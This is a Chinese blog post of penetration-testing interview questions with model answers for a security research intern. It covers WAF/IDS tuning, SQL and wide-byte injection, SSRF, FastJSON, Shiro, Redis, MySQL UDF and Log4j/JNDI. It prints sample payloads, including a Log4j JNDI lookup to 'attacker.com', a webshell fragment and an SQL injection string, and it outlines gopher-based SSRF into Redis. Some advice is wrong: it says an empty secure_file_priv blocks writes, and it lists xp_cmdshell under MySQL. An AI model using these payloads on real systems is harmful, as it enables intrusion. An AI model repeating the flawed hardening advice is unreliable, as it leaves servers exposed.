2025年渗透测试面试题总结-字某某动-安全研究实习生(二面)(题目+回答)

发布于:2025-03-07 ⋅ 阅读:(97) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 字某某动-安全研究实习生(二面)

1. 护网行动中的核心工作

2. 防护层级选择(WAF/IDS)

3. 误报治理方案

4. 内网误报分布场景

5. MySQL执行PowerShell防护

6. 资产收集经验

7. 漏洞攻击案例

8. SQL注入攻防详解

原理

防御方案

Order By防御

特殊字符处理

9. 宽字节注入原理

10. SSRF漏洞修复(Docker环境)

11. 反序列化漏洞解析

FastJSON

Shiro

12. 中间件与数据库漏洞

Redis未授权访问

MySQL提权

13. Log4j与JNDI攻击链

Log4j RCE原理

JNDI流程


 字某某动-安全研究实习生(二面)

护网中做了什么

做哪一层处理,waf?ids?

怎么解决误报过多的情况,有做过什么规则能解决这个情况的

内网误报存在于办公网还是生产网

比如mysql也会执行powershell,怎么做防护(前面说了内网误报是因为有人写了ps脚本触发的)

在做攻防的时候,资产收集这块有没有什么经验介绍的

一个单位的一级域名可能不止一个,怎么收集某个单位的所有域名,注意不是子域名

资产收集的 经验

除了信息收集,有没有什么漏洞方面的攻击案例

sql注入的原理

如何防御sql注入

遇到order by如何防御

遇到转义字符防御时,如果遇到数据库的列名或是表面本身就带有特殊字符时,应该怎么做

宽字节注入的原理

ssrf原理

ssrf漏洞如何修复

基于黑白名单的修复,现在的生产基本上都是用的docker ,ip是随时会变得,而且docker重启后可能什么都不一样了,怎么做一个修复

fastjson反序列化原理

redis漏洞

mysql提权

shiro 反序列化原理

log4j漏洞原理

jndi的解析流程和原理

1. 护网行动中的核心工作

  1. 监测与响应
    • 部署SIEM系统实时分析流量,结合EDR端点行为日志,对APT攻击链(如Cobalt Strike)进行深度追踪。
    • 建立威胁情报联动机制,对接微步、VirusTotal等平台,快速拦截恶意IP和域名。
  2. 资产暴露面收敛
    • 通过Shodan、FOFA等工具扫描暴露在公网的资产(如Redis、Kafka),关闭非必要端口。
    • 对云上对象存储(如AWS S3、OSS)设置最小化访问策略,防止数据泄露。
  3. 红蓝对抗演练
    • 模拟钓鱼邮件(如伪造OA登录页面)、横向渗透(利用MS17-010漏洞)等攻击手法,验证防御体系有效性。

2. 防护层级选择(WAF/IDS)

  1. WAF(Web应用层)
    • 防御SQL注入、XSS等OWASP Top 10漏洞,基于正则规则拦截union select等特征。
    • 动态脚本防护:拦截WebShell上传行为(如eval($_POST[cmd]))。
  2. IDS/IPS(网络层)
    • 检测内网横向移动:如SMB协议中的PsExec命令、Mimikatz特征流量。
    • 协议异常识别:如DNS隧道(长域名+Base64编码)、ICMP隐蔽通道。
  3. 混合部署策略
    • 边界部署云WAF(如阿里云盾),内网基于Suricata实现流量镜像分析。

3. 误报治理方案

  1. 规则优化
    • 白名单机制:对内部管理系统IP(如Jenkins、Zabbix)放行特定请求。
    • 误报样本训练:收集误报日志,使用机器学习模型(如随机森林)优化规则权重。
  2. 上下文关联
    • 结合用户身份(如VPN账号)与行为基线,区分正常运维操作与攻击。
    • 示例:办公网允许PowerShell调用API,但生产网触发告警。

4. 内网误报分布场景

  1. 办公网误报
    • 自动化脚本触发:如Ansible通过WinRM执行批量命令,被误判为恶意PowerShell。
    • 解决方案:在EDR中添加脚本签名白名单。
  2. 生产网误报
    • CI/CD流水线异常:如Docker构建过程中拉取镜像的HTTP请求含特殊字符(${})。
    • 解决方案:在WAF中配置构建工具User-Agent放行规则。

5. MySQL执行PowerShell防护

  1. 权限最小化
    • 禁止MySQL服务账号加入Administrators组,限制其仅拥有数据库操作权限。
  2. 审计与拦截
    • 启用MySQL审计插件,记录xp_cmdshellsys_exec等高危函数调用。
    • 在HIDS(如Osquery)中监控powershell.exe 进程的父进程是否为mysqld.exe

6. 资产收集经验

  1. 一级域名收集方法
    • 备案查询:通过工信部备案系统反查单位名称,获取所有关联域名。
    • SSL证书关联:使用Censys搜索同一组织签名的证书(Subject-O字段)。
    • ASN归属分析:通过IP段反向查询单位所属自治系统(ASN),提取注册域名。
  2. 隐蔽资产发现
    • DNS历史记录:利用SecurityTrails查找已过期但未注销的域名解析记录。
    • 子公司关联:通过企查查等工具获取控股公司名称,扩展搜索范围。

7. 漏洞攻击案例

  1. SSRF+Redis未授权访问
    • 利用gopher://协议构造Payload,通过SSRF向Redis发送flushallset命令,写入SSH公钥。
  2. Shiro反序列化
    • 硬编码AES密钥导致攻击者伪造RememberMe Cookie,触发URLClassLoader加载远程恶意类。
  3. FastJSON JNDI注入
    • 构造恶意JSON数据中的@type字段指向攻击者控制的LDAP服务,触发JdbcRowSetImpl漏洞。

8. SQL注入攻防详解

原理
  • 攻击者通过输入篡改SQL逻辑(如' OR 1=1 --),绕过认证或泄露数据。
防御方案
  1. 预编译语句(PDO)
    • 使用参数化查询确保输入数据仅作为字面值,而非SQL语法。
  2. 输入过滤
    • 正则表达式拦截'"--等敏感字符(如/[^\w\s]/)。
  3. 权限控制
    • 数据库账户仅授予最小权限(如禁用FILEEXECUTE)。
Order By防御
  • 将用户输入映射为固定字段名(如1=>id, 2=>name),避免直接拼接。
特殊字符处理
  • 对含特殊符号的列名使用反引号包裹(如`user-name`),并转义输入中的反引号。

9. 宽字节注入原理

  • 成因:数据库使用GBK编码时,%bf%5c会被解析为汉字“縗”,导致单引号逃逸。
  • 修复:统一使用UTF-8编码,并在PHP中设置mysql_set_charset('utf8')

10. SSRF漏洞修复(Docker环境)

  1. 服务发现机制
    • 通过Consul或Kubernetes Service动态获取内网服务IP,替代硬编码IP黑白名单。
  2. 协议限制
    • 禁用非常规协议(如file://gopher://),仅允许HTTP/HTTPS。
  3. 代理隔离
    • 强制所有出站流量经过代理网关,并在网关上实施请求目标校验。

11. 反序列化漏洞解析

FastJSON
  • 原理:autoType功能未严格校验类名,攻击者指定com.sun.rowset.JdbcRowSetImpl 触发JNDI注入。
  • 修复:升级至1.2.83+版本并启用safeMode
Shiro
  • 原理:硬编码AES密钥导致攻击者构造恶意序列化数据,触发AbstractPreferences类RCE。
  • 修复:随机生成新密钥并配置securityManager.rememberMe.cipherKey

12. 中间件与数据库漏洞

Redis未授权访问
  • 利用方式:通过CONFIG SET dir写入WebShell或SSH密钥。
  • 防御:启用requirepass密码认证,并限制CONFIG命令权限。
MySQL提权
  • UDF提权:上传恶意SO/DLL文件,调用sys_exec()执行系统命令。
  • 防御:设置secure_file_priv为空,禁止非授权目录写入。

13. Log4j与JNDI攻击链

Log4j RCE原理
  • 攻击者构造${jndi:ldap://attacker.com/Exploit} 日志内容,触发Log4j解析JNDI地址。
JNDI流程
  1. 受害机解析恶意LDAP地址,向攻击者服务器请求类文件。
  2. 攻击者返回包含静态代码块(static { ... })的恶意类文件。
  3. 类加载时自动执行静态代码块中的命令(如反弹Shell)。


网站公告

今日签到

点亮在社区的每一天
去签到